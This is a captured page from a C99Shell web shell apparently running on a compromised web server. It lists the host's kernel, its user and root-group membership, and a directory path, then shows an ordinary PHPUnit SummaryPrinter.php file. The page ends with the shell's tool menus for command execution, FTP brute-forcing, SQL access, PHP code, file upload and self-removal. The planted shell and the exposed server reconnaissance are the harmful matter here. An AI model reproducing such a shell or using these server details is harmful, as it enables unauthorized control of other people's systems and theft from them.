!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/phpunit/phpunit/src/TextUI/Output/   drwxr-xr-x
Free 28.72 GB of 117.98 GB (24.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SummaryPrinter.php (5.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);
/*
 * This file is part of PHPUnit.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace PHPUnit\TextUI\Output;

use function 
sprintf;
use 
PHPUnit\TestRunner\TestResult\TestResult;
use 
PHPUnit\Util\Color;

/**
 * @internal This class is not covered by the backward compatibility promise for PHPUnit
 */
final class SummaryPrinter
{
    private readonly 
Printer $printer;
    private readonly 
bool $colors;
    private 
bool $countPrinted false;

    public function 
__construct(Printer $printerbool $colors)
    {
        
$this->printer $printer;
        
$this->colors  $colors;
    }

    public function print(
TestResult $result): void
    
{
        if (
$result->numberOfTestsRun() === 0) {
            
$this->printWithColor(
                
'fg-black, bg-yellow',
                
'No tests executed!',
            );

            return;
        }

        if (
$result->wasSuccessfulAndNoTestHasIssues() &&
            !
$result->hasTestSuiteSkippedEvents() &&
            !
$result->hasTestSkippedEvents()) {
            
$this->printWithColor(
                
'fg-black, bg-green',
                
sprintf(
                    
'OK (%d test%s, %d assertion%s)',
                    
$result->numberOfTestsRun(),
                    
$result->numberOfTestsRun() === '' 's',
                    
$result->numberOfAssertions(),
                    
$result->numberOfAssertions() === '' 's',
                ),
            );

            
$this->printNumberOfIssuesIgnoredByBaseline($result);

            return;
        }

        
$color 'fg-black, bg-yellow';

        if (
$result->wasSuccessful()) {
            if (!
$result->hasTestsWithIssues()) {
                
$this->printWithColor(
                    
$color,
                    
'OK, but some tests were skipped!',
                );
            } else {
                
$this->printWithColor(
                    
$color,
                    
'OK, but there were issues!',
                );
            }
        } else {
            if (
$result->hasTestErroredEvents() || $result->hasTestTriggeredPhpunitErrorEvents()) {
                
$color 'fg-white, bg-red';

                
$this->printWithColor(
                    
$color,
                    
'ERRORS!',
                );
            } elseif (
$result->hasTestFailedEvents()) {
                
$color 'fg-white, bg-red';

                
$this->printWithColor(
                    
$color,
                    
'FAILURES!',
                );
            } elseif (
$result->hasWarnings()) {
                
$this->printWithColor(
                    
$color,
                    
'WARNINGS!',
                );
            } elseif (
$result->hasDeprecations()) {
                
$this->printWithColor(
                    
$color,
                    
'DEPRECATIONS!',
                );
            } elseif (
$result->hasNotices()) {
                
$this->printWithColor(
                    
$color,
                    
'NOTICES!',
                );
            }
        }

        
$this->printCountString($result->numberOfTestsRun(), 'Tests'$colortrue);
        
$this->printCountString($result->numberOfAssertions(), 'Assertions'$colortrue);
        
$this->printCountString($result->numberOfErrors(), 'Errors'$color);
        
$this->printCountString($result->numberOfTestFailedEvents(), 'Failures'$color);
        
$this->printCountString($result->numberOfWarnings(), 'Warnings'$color);
        
$this->printCountString($result->numberOfDeprecations(), 'Deprecations'$color);
        
$this->printCountString($result->numberOfNotices(), 'Notices'$color);
        
$this->printCountString($result->numberOfTestSuiteSkippedEvents() + $result->numberOfTestSkippedEvents(), 'Skipped'$color);
        
$this->printCountString($result->numberOfTestMarkedIncompleteEvents(), 'Incomplete'$color);
        
$this->printCountString($result->numberOfTestsWithTestConsideredRiskyEvents(), 'Risky'$color);
        
$this->printWithColor($color'.');

        
$this->printNumberOfIssuesIgnoredByBaseline($result);
    }

    private function 
printCountString(int $countstring $namestring $colorbool $always false): void
    
{
        if (
$always || $count 0) {
            
$this->printWithColor(
                
$color,
                
sprintf(
                    
'%s%s: %d',
                    
$this->countPrinted ', ' '',
                    
$name,
                    
$count,
                ),
                
false,
            );

            
$this->countPrinted true;
        }
    }

    private function 
printWithColor(string $colorstring $bufferbool $lf true): void
    
{
        if (
$this->colors) {
            
$buffer Color::colorizeTextBox($color$buffer);
        }

        
$this->printer->print($buffer);

        if (
$lf) {
            
$this->printer->print(PHP_EOL);
        }
    }

    private function 
printNumberOfIssuesIgnoredByBaseline(TestResult $result): void
    
{
        if (
$result->hasIssuesIgnoredByBaseline()) {
            
$this->printer->print(
                
sprintf(
                    
'%s%d issue%s %s ignored by baseline.%s',
                    
PHP_EOL,
                    
$result->numberOfIssuesIgnoredByBaseline(),
                    
$result->numberOfIssuesIgnoredByBaseline() > 's' '',
                    
$result->numberOfIssuesIgnoredByBaseline() > 'were' 'was',
                    
PHP_EOL,
                ),
            );
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--